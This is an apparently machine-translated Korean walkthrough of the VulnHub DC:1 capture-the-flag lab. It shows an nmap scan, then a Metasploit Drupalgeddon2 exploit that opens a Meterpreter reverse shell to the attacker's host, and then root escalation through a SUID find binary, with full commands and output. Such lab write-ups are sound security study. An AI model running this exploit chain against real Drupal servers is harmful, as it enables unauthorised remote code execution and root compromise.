vulnhub Walkthrough:DC:1

8626 단어 보안VulnHubCTF
초보자가 가득한 시큐리티 엔지니어를 목표로 하기 위해 공부한 비망록이 되기 때문에 잘못되어 있는 일이 있을지도 모릅니다.
vulnhub의 의도적으로 취약성이 만들어진 DC:1의 Walkthrough입니다.

vulnhub 정보





이름
DC: 1


Date release
28 Feb 2019

작성자
DCAU

시리즈
DC

웹 페이지
h tp // w w. 훗ゔ86. 이 m/dc-1. HTML


PortScan:



이번에는 sshApacherpcbind 의 포트가 열려 있습니다.


PORT
서비스
VERSION


22
ssh
OpenSSH 6.0p1 데비안 4+deb7u7 (protocol 2.0)

80
http
Apache httpd 2.2.22 ((데비안))

111
rpcbind
2-4 (RPC#100000)


root@kali:~# nmap -sS -sV 192.168.56.12
Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-03 04:16 EDT
Nmap scan report for 192.168.56.12
Host is up (0.00017s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
80/tcp  open  http    Apache httpd 2.2.22 ((Debian))
111/tcp open  rpcbind 2-4 (RPC #100000)
MAC Address: 08:00:27:BD:BD:B9 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.82 seconds

Enumeration:



이 웹 사이트는 Drupal를 사용하는 것 같습니다.robots.txt에 나열된 파일을 확인하고 Drupal의 버전이 있는지 확인하고MAINTAINERS.txtDrupal 7 라는 설명을 찾았습니다.


Drupal 7 에 취약점이 없는지 Metasploit 에서 검색한 결과 몇 가지 나타납니다.

msf5 > search drupal

Matching Modules
================

   Name                                           Disclosure Date  Rank       Check  Description
   ----                                           ---------------  ----       -----  -----------
   auxiliary/gather/drupal_openid_xxe             2012-10-17       normal     Yes    Drupal OpenID External Entity Injection
   auxiliary/scanner/http/drupal_views_user_enum  2010-07-02       normal     Yes    Drupal Views Module Users Enumeration
   exploit/multi/http/drupal_drupageddon          2014-10-15       excellent  No     Drupal HTTP Parameter Key/Value SQL Injection
   exploit/unix/webapp/drupal_coder_exec          2016-07-13       excellent  Yes    Drupal CODER Module Remote Command Execution
   exploit/unix/webapp/drupal_drupalgeddon2       2018-03-28       excellent  Yes    Drupal Drupalgeddon 2 Forms API Property Injection
   exploit/unix/webapp/drupal_restws_exec         2016-07-13       excellent  Yes    Drupal RESTWS Module Remote PHP Code Execution
   exploit/unix/webapp/php_xmlrpc_eval            2005-06-29       excellent  Yes    PHP XML-RPC Arbitrary Code Execution


Exploitation:



아무래도 exploit/unix/webapp/drupal_drupalgeddon2 가 사용할 수 있을 것 같아서, 실제로 사용해 가고 싶습니다.

필요한 설정을 하고 exploit 합니다.
연결할 수 있었습니다.

msf5 > use exploit/unix/webapp/drupal_drupalgeddon2 
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > RHOSTS 192.168.56.12
[-] Unknown command: RHOSTS.
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 192.168.56.12
RHOSTS => 192.168.56.12
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > exploit

[*] Started reverse TCP handler on 192.168.56.3:4444 
[*] Drupal 7 targeted at http://192.168.56.12/
[-] Could not determine Drupal patch level
[*] Sending stage (38247 bytes) to 192.168.56.12
[*] Meterpreter session 1 opened (192.168.56.3:4444 -> 192.168.56.12:53499) at 2020-05-03 05:02:54 -0400

meterpreter > sysinfo
Computer    : DC-1
OS          : Linux DC-1 3.2.0-6-486 #1 Debian 3.2.102-1 i686
Meterpreter : php/linux

Privilege Escalation:


Meterpretershell 를 입력하고 shell 를 열고python 를 사용하여 대화형 셸을 가져옵니다.

meterpreter > shell
Process 3134 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
SUID 가 부여되었는지 확인합니다.

www-data@DC-1:/var/www$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/bin/mount
/bin/ping
/bin/su
/bin/ping6
/bin/umount
/usr/bin/at
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/find
/usr/sbin/exim4
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/sbin/mount.nfs
findsuid 가 부여되고 있는 것을 알았습니다. find 를 발판으로 권한 승격을 해 봅니다.
무사히 루트 권한으로 승격할 수 있었습니다.

네~이

www-data@DC-1:/var/www$ find . -exec /bin/sh \;      
find . -exec /bin/sh \;
# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
# whoami
whoami
root
# cd /root
cd /root
# cat thefinalflag.txt
cat thefinalflag.txt
Well done!!!!

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7

면책사항



본 기사는 정보 보안에 있어서의 공격의 이해, 방위의 스킬 향상을 목적으로 한 보안에 관한 내용이 있습니다. 본 기사의 내용을 사용하여 발생한 어떠한 손해나 손실에 대해서, 본 기사 작성자는 일절의 책임을 지지 않습니다.
본 기사의 내용을 실제로 사용하여 제3자의 개인이나 조직 등을 공격한 경우는 법률에 의해 처벌될 가능성이 있으므로 반드시 자신이 소유하고 있는 환경만을 대상으로 하여 타인이나 조직 가 소유하고 있는 환경은 결코 대상으로 하지 않도록 부탁합니다.

좋은 웹페이지 즐겨찾기